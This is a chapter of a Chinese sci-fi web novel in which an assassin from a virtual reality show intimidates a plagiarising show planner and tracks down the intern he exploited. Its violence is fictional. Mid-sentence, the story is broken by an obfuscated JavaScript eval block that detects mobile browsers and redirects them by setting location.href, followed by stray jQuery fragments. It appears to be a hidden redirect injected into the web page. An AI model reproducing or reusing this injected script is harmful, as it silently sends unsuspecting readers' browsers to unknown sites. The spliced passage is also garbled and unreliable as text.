“我得去个地方。”青黛对艾米道。


    “但我们原本的计划是，你在实验室看完资料，就得把你重新上载回洞天去。”艾米似乎不太同意青黛的突如其来。


    “我没办法带着疑惑回去，我必须搞清楚状况，”青黛忽然死盯着艾米道，“我杀了现任总统，而他还活着这件事，你难道不好奇吗？”


    艾米毫无所动：“不好奇。”


    她是MOQI的首席情报官，知道的骇世的秘密太多了，对这些惊天奇闻早就免疫了。


    “我保证，你老板不会因此为难你的。”青黛换了策略。


    青黛这话艾米是信的，因为她追看了整个杀手秀，知道自己老板对这个女人已经到了舔狗的程度。


    “我先带你去房间，那里有浴室，你要出去，得洗个澡，换套衣服。”艾米道，“你先把要找的人告诉我，我先查一下他的地址。”


    艾米安排的房间很是奢华，很符合MOQI公司的资产价值。


    青黛也懒得推辞，赶紧冲进去洗澡。她出来后，发现干净的衣服已经被摆在床上了。


    换好衣服后，艾米把青黛送到了她要去的地方——节目组总策划的家。


    青黛想知道，是谁把这个案件安插在刺杀总统这个环节中的。


    “你是背着节目组出来的，来找节目组的策划，岂不是自投罗网？”艾米很是不解，但依然把车停在了策划家顶楼的停车场。


    青黛没回答她的问题，问道：“策划的资料找到了吗？”


    “嗯，总策划名叫熊锐进，男，35岁，单身，在这个行业非常资深，参与过很多爆款项目的策划工作。他今天上班的时间是……”艾米把刚才手下查到的情报汇报给旁边副驾上的青黛。


    “关系网呢？”


    “可以肯定的是，这个人跟各种帮派和政治势力都没什么关系，就是个普通的打工人。”


    “麻烦你在这里等我一会儿。我马上回来。”


    青黛戴上口罩，拉下兜帽，几乎遮住了整张脸。她并没有乘坐电梯，而是从楼梯间一路向下，来到了策划家门外。


    “我就位了。”青黛用光脑跟艾米说道。


    十秒钟后，策划家的电子锁被远程打开了。


    我此生都不要用这种锁，青黛心想。


    “啊——”


    被青黛晃醒的熊锐进，用这辈子最高亢的声音，看着青黛尖叫着。


    “叫完了吗？叫完了闭嘴。”青黛不耐道。


    “你不是在洞天吗？你怎么在这里？我要报警！”熊锐进刚要调出光脑，手腕的光脑就被青黛一刀干碎了。


    “你想干什么？”熊锐进用尽最大力气，才勉强让自己没吓尿出来。


    “我就问个问题，这个刺杀环节的任务都是谁策划的？”


    熊锐进听到这个问题，眼神忽然游离起来：“肯定是我啊，我就是策划。怎么了？你问这个干什么？”


    “那就对了，因为……是谁策划的，我就要杀了谁。”青黛又举起了刀。


    “不是我策划的！不是我！我骗你的！真的不是我，饶命。”熊锐进吓尿了，他是真的相信青黛会杀了他。


    “说说，怎么回事？”


    熊锐进老老实实把过程说给青黛听——所有的刺杀项目，都是他找来的实习生策划的，他抢了那个实习生的创意，然后就把人开除了。


    “叫什么名字，你开除的实习生。”


    “刘菁菁。”


    “地址。”


    “你把我的光脑砍碎了……”


    “不然我陪你一个啊！”青黛再次举起了刀。


    熊锐进一边哭，一边爬到桌边打开电脑，调出了刘菁菁的地址。


    青黛用光脑拍下刘菁菁的地址传给艾米，然后给了熊锐进一脚，保证他接下来一百天都要拄拐后，离开了他家。


    走之前，她还不忘回头威胁熊锐进道：“记得，今天你没见过我，否则，你剽窃创意这件事，会立刻人尽皆知，而且等节目结束，我会追杀你到天涯海角。”


    熊锐进捂着腿，含着泪，疯狂点头。


    青黛回到大厦屋顶停车场时，艾米已经设定好了刘菁菁的地址导航。


    “先找个地方待一会儿吧，这才4点，刘菁菁应该还在睡觉。”青黛道。


    艾米有些诧异：“你找熊锐进时怎么不管他在不在睡觉？”


    “刘菁菁是受害者，能一样吗？”


    “受害者？什么意思？”


    青黛大概跟艾米说了一下刘菁菁被剽窃的情况。


    艾米发动了车子：“现在就过去吧，那是贫民窟，路很复杂，等我们找到了，她也差不多起床了。”


    刘菁菁住在80层的贫民区，那里再往下几乎都是无人工厂和仓库，空气很差，到处是烟霾，气温也高。


    她们找到刘菁菁时，小姑娘正在家门口整理着捡回来的垃圾。


    “你！你！你！……”刘菁菁抬头看到青黛，惊得说不出话。


    “对，我暂时从洞天出来了。”


    “我？我？我？”刘菁菁又指着自己，话依然说不囫囵。


    “对，我专程来找你聊聊。”


    小姑娘慌忙站起身，“进来坐吧。”


    青黛和艾米被让进了刘菁菁的家，其实，那根本不算一个家，是在一个堆满了芯片和电子元件的仓库里摆了一张小床。


    让人进入这样的“家”，刘菁菁也显得很局促，“不然我们还是出去吧，这里太脏了。”


    “这里挺好。”青黛一屁股坐在明显是捡来的凳子上，大口喝着刘菁菁给她倒的水。


    “你本人比节目里还好看。”刘菁菁像个害羞的小粉丝，说话时都不太敢看青黛的眼睛，“我一直在追看杀手秀，但我没钱买你的直播，网上的关于你的剪辑我都看了。你真的好棒！”


    “谢谢你的喜欢，我这趟来，是有个问题要问你。”


    “你想问什么？随便问，我知无不言。”刘菁菁有点感动，很少有人不嫌弃这里。


    “洞天的刺杀任务都是你设计的吗？”


    “你知道了？”


    “嗯，我知道熊锐进剽窃了你的方案。”


    刘菁菁想了想，说道：“其中有9个方案是我写的，国会大厦刺杀不是，我原本写的方案是就职演说刺杀，相关的情报也不是这些。”


    看到青黛脸色一沉，刘菁菁慌忙问道：“怎么了？这个方案有什么问题吗？”


    “熊锐进说十个方案都是剽窃你的。”


    “啊？我看节目的时候，还以为这个方案是熊锐进自己加进去的呢。当时还在奇怪，他既然能想出这么好的方案，干嘛要用我的？”


    “你做完的策划案，会经过谁的手，最后到熊锐进手上？”


    “按照节目组的工作流程，我做完应该发他邮箱的，然后抄送相关人员。但他不让，他让我直接发到他的光脑。”


    刘菁菁给青黛看了一下自己方案的原件，以及单独发送给熊锐进的记录。


    “应该是为了剽窃不留下证据。”青黛道。


    “那段时间我天天加班，几乎住在节目组，谁知道，我把创意交给他后，他就把我开除了，熊锐进说我是蠢货，说我的方案是垃圾，一文不值。”刘菁菁的眼泪不停地在眼眶里打转。


    看着小姑娘委屈的样子，青黛十分后悔自己刚才下腿下轻了。


    “谢谢你，我想知道的都问完了。”


    “你放心，我不会告诉别人我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073777|159165||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    见过你的。”小姑娘很是上道，知道青黛“不应该”出现在这里。


    二人离开后，青黛低声问旁边的艾米：“能不能……”


    “能。”艾米瞬间道。


    “我话都没说完，你怎么知道我问什么？”


    “不就是要给刘小姐找个工作嘛？放心啦，小事一桩。”艾米摆摆手。


    “谢谢。”


    “看你杀伐果决的样子，不觉得你应该是个滥好人啊？”艾米发动了悬浮车。


    “我感觉我像是演了她写的剧本的演员，有种亲切感。所以，不希望跟我有这种渊源的人活得如此绝望。”


    艾米意味深长地看了她一眼，把车汇入了九幽的钢铁洪流之中。


    看到青黛第二次出现在自己眼前，正准备去医院的熊锐进瞬间跪下了：“该说的我都说了，我真的没骗你。”


    “我知道。”青黛道，“我只是想知道，你收到的十个刺杀任务，是不是现在的版本？”


    熊锐进抓着头想了想，“还真不是。我交上去的版本，就是刘菁菁发给我的版本，我只是改了改格式和一些细节。但选手开始找线人时呈现出的版本，就不一样了。”


    “哪里不一样？”


    “有一个任务被换掉了。”


    “哪个任务？”


    “国会大厦刺杀。”


    “你为什么没上报？”


    “那能随便上报吗？万一是我失误，我就工作不保了，万一是领导私自换的方案，我这么贸然说出来，工作也不保。既然没人看出问题，也没人质疑，我干嘛要给自己找麻烦？我开始还提心吊胆的，但后来发现这个任务也没什么特别的，而且被你们顺利完成了，那就更不可能上报了。”


    “带我去你办公室。”


    “我正要去医院呢。”


    “不然，我让你多几处开放性伤口一起治疗？”青黛做了一个抽刀的动作。


    熊锐进瞬间妥协。


    此时才刚刚8点，巅峰文化还不到上班时间，除了那些负责直播的部门，别的区域几乎没人，管理人员区域更是连灯都没开。


    熊锐进把青黛和艾米让进了自己的办公室，艾米调出光脑，连入了熊锐进的工作电脑——她们要查出到底是谁动了手脚。


    没过多久，艾米抬起头，冲着青黛微微点了点。俩人离开了巅峰文化。


    离开前，艾米很轻松的黑入大厦的安保系统，把她俩的造访痕迹删了个干净。


    “我已经复制了所有相关数据，但整理和分析这些数据需要时间，你先回去洞天继续真人秀。等我这边有了消息，我会通知莫少爷的。”艾米道。


    “行。”


    回去的路上，青黛一言不发，但其实她的大脑已经转得快打结了——


    有人安插了一个完整的任务包括附属情报进来节目？因为无论是我执行这个任务，还是别人执行，我早晚都会看到这个情节。目的是什么？为了唤起我的记忆吗？


    这么处心积虑唤起我的记忆？图什么？我的记忆里有什么值得发掘的东西吗？


    还有那个死掉的总统。他是怎么复活的？


    所以，我现在在明处，这些人在暗处，我甚至不知道他们要做什么。


    青黛发现自己被一个又一个巨大的谜团所包围，这趟回九幽不但没查出什么来，反而疑惑更多了。


    回到了实验室后，那两个工程师又出现了，青黛往准备好的休眠舱里一躺，又回到了洞天。


    她的意识刚刚上载到洞天完毕，一个似曾相识的声音忽然从她身后传来——


    “不枉我等了你这么多天，真是功夫不负有心人啊。”


    青黛回头一看，心口一沉。


    是那个女道士，白芷。